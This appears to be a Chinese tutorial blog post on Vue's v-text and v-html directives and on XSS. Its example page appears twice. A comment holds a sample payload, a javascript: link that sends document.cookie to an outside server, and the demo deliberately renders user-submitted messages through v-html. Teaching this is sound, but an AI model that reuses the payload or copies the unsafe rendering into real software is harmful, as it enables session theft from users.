VUE框架用户提交页面信息展示与XSS攻击原理剖析------VUE框架

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <script src="js/vue.js"></script>
</head>
<body>
    <div id="app">
        <!-- v-text指令可以将指令中的内容取出放到标签体中,和JS的innerText一样 -->
        <h1>{{msg}}</h1>
        <h1 v-text="msg"></h1>
        <!-- 这种填充和JS的innerText实现原理一样,都是先清空标签体原有的内容,填充新内容 -->
        <h1 v-text="n"></h1>
        <!-- 即便是html代码也只会作为普通文本执行 -->
        <h1 v-text="s1"></h1>
        <!-- v-html视为html代码,和JS中的innerHTML一样 -->
        <!-- 也是覆盖原有内容,显示新东西 -->
        <!-- innerHtml和v-html最好少用,因为有概率导致XSS攻击 -->
        <!-- 这种在实际开发中,不要用到用户提交的内容上,会导致JS代码注入 -->
        <div v-html="s1"></div>
        <!-- 什么叫XSS攻击,XSS攻击通常就是利用网页开发时留下的漏洞, -->
        <!-- 通过巧妙的方法注入恶意指令到网页,使正常用户加载并执行 -->
        <!-- 这些恶意的网页程序一般是用JS编写的 -->
        <!-- 例如 -->
        <!-- <a href='javascript:location.href="https://www.baidu.com?" + document.cookie'>点我给你看看好玩的</a> -->
        <!-- 如果正常用户点击了这个留言,就会导致自己的cookie被发送给恶意的服务器 -->
        <!-- 就会被对方获取信息 -->
        <div>
            <ul>
                <li v-for="inf,propName of info" :key="inf.user">{{inf.user}}:{{inf.word}}</li>
            </ul>
        </div>
        <div>
            <ul>
                <li v-for="m,index of messageList" :key="index" v-html="m"></li>
            </ul>
        </div>
        <div>
            <textarea cols="50" rows="10" v-model.lazy="message"></textarea>
            <button @click="save()">保存留言</button>
        </div>
        <div>
            <input type="text" v-model="name"/>
            <input type="text" v-model="input"/>
            <button @click="submit()">按一下提交</button>
        </div>
    </div>
    <script>
        const vm = new Vue({
            el : "#app",
            data : {
                msg : "Hello",
                n : "Jack",
                s1 : "<h1>哈哈哈</h1>",
                name : "",
                input : "",
                message : "",
                info : [
                    {user : "Jack",word : "哈哈哈哈"},
                    {user : "Rose",word : "哈哈哈哈"},
                    {user : "Tim",word : "哈哈哈哈"},
                    {user : "Peter",word : "哈哈哈哈"},
                    {user : "David",word : "哈哈哈哈"}
                ],
                messageList : []
            },
            methods : {
                submit(){
                    let name = this.name;
                    let input = this.input;
                    this.$data.info.push({user : name,word : input});
                },
                save(){
                    this.messageList.push(this.message);
                }
            }
        });
    </script>
</body>
</html>

<!DOCTYPE html>

<html lang="en">

<head>

    <meta charset="UTF-8">

    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    <title>Document</title>

    <script src="js/vue.js"></script>

</head>

<body>

    <div id="app">

        <!-- v-text指令可以将指令中的内容取出放到标签体中,和JS的innerText一样 -->

        <h1>{{msg}}</h1>

        <h1 v-text="msg"></h1>

        <!-- 这种填充和JS的innerText实现原理一样,都是先清空标签体原有的内容,填充新内容 -->

        <h1 v-text="n"></h1>

        <!-- 即便是html代码也只会作为普通文本执行 -->

        <h1 v-text="s1"></h1>

        <!-- v-html视为html代码,和JS中的innerHTML一样 -->

        <!-- 也是覆盖原有内容,显示新东西 -->

        <!-- innerHtml和v-html最好少用,因为有概率导致XSS攻击 -->

        <!-- 这种在实际开发中,不要用到用户提交的内容上,会导致JS代码注入 -->

        <div v-html="s1"></div>

        <!-- 什么叫XSS攻击,XSS攻击通常就是利用网页开发时留下的漏洞, -->

        <!-- 通过巧妙的方法注入恶意指令到网页,使正常用户加载并执行 -->

        <!-- 这些恶意的网页程序一般是用JS编写的 -->

        <!-- 例如 -->

        <!-- <a href='javascript:location.href="https://www.baidu.com?" + document.cookie'>点我给你看看好玩的</a> -->

        <!-- 如果正常用户点击了这个留言,就会导致自己的cookie被发送给恶意的服务器 -->

        <!-- 就会被对方获取信息 -->

        <div>

            <ul>

                <li v-for="inf,propName of info" :key="inf.user">{{inf.user}}:{{inf.word}}</li>

            </ul>

        </div>

        <div>

            <ul>

                <li v-for="m,index of messageList" :key="index" v-html="m"></li>

            </ul>

        </div>

        <div>

            <textarea cols="50" rows="10" v-model.lazy="message"></textarea>

            <button @click="save()">保存留言</button>

        </div>

        <div>

            <input type="text" v-model="name"/>

            <input type="text" v-model="input"/>

            <button @click="submit()">按一下提交</button>

        </div>

    </div>

    <script>

        const vm = new Vue({

            el : "#app",

            data : {

                msg : "Hello",

                n : "Jack",

                s1 : "<h1>哈哈哈</h1>",

                name : "",

                input : "",

                message : "",

                info : [

                    {user : "Jack",word : "哈哈哈哈"},

                    {user : "Rose",word : "哈哈哈哈"},

                    {user : "Tim",word : "哈哈哈哈"},

                    {user : "Peter",word : "哈哈哈哈"},

                    {user : "David",word : "哈哈哈哈"}

                ],

                messageList : []

            },

            methods : {

                submit(){

                    let name = this.name;

                    let input = this.input;

                    this.$data.info.push({user : name,word : input});

                },

                save(){

                    this.messageList.push(this.message);

                }

            }

        });

    </script>

</body>

</html>

  • 22
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值